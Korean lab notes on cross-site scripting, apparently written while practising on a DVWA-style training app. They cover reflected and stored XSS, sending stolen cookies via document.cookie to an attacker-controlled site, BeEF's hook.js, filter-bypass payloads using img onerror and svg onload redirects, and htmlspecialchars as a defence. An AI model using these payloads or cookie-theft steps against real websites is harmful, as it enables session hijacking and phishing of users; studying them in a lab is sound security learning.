<크로스사이트 스크립팅(XSS)공격>
*자바스크립트
-웹 애플리케이션에서 사용하는 언어
html:텍스트나 이미지 등 정적인 내용을 표시
자바스트립트: 동적인 기능 구현(마우스를 가져가면 색깔이 변화하는 것이 예시이다.)
-로 구현
예시)
--> 쿠키를 빼낼 떄 사용가능
-->소스 외부 자바스크립트를 페이지 내에 심을 수 있음
*XSS공격
클라이언트쪽의 웹브라우저를 공격하는 기법
What's your name?-->: 쿠키값 출력됨.
출력된 쿠키값은 외부 사이트로 전송하기 위해
terminal에서 tail -f/opt/lampp/logs/access log입력하여 웹 서버 로그 출력하기
What's your name?--> 사이트)/cookie?'+document.cookie--> 해커 사이트로 xss에 공격당한 사람의 쿠키값이 전송됨.
위 내용을 활용하여 피싱 메일을 보내어 더 그럴듯하게 공격할 수 있다.
*Reflected XSS공격

*Stored XSS공격

<Stored XSS공격>
방명록 작성 페이지
name--> 테스트/ message-->
((inspect element-->max length:50-->500 to whatever 최대입력가능 수 수정가능))
-> script실행됨.
웹 서버 로그 살펴보면 쿠키가 해커호스트로 전달됨.
<BeEF프레임워크>
kail terminer--> BeEF실행->username,pw:beef
*BeEF-> 웹브라우저 취약점 공격에 유용한 도구가 됨.
hook.js를 취약점에 적용하면 클라이언트 쿠키 탈취 가능
<미디엄 단계>
*reflected
what's your name?--> -> Hello alert(1)출력
소스코드 확인: str_replace
<하이단계>
*reflected
what's your name?--> ->Hello>출력
소스코드확인: 대소문자확인, 문자사이 공격도 방지--> script태그 이용한 공격 불가능
but, html태그 이용하여 우회가능
what's your name?--><img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>:해커사이트로 리다이렉트 시킴--> 공격성공
<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>로도 공격가능
<XSS공격 대응>
what's your name?--> -> Hello 출력
소스코드-> htmlspcialchars함수 사용-> 페이지 상에는 특수문자가 그대로 표시되지만 실제로는 변환되어 적용되지 않음.
입력되어야 하는 형식을 꼼꼼히 확인하도록 하면 XSS공격에 대응할 수 있다.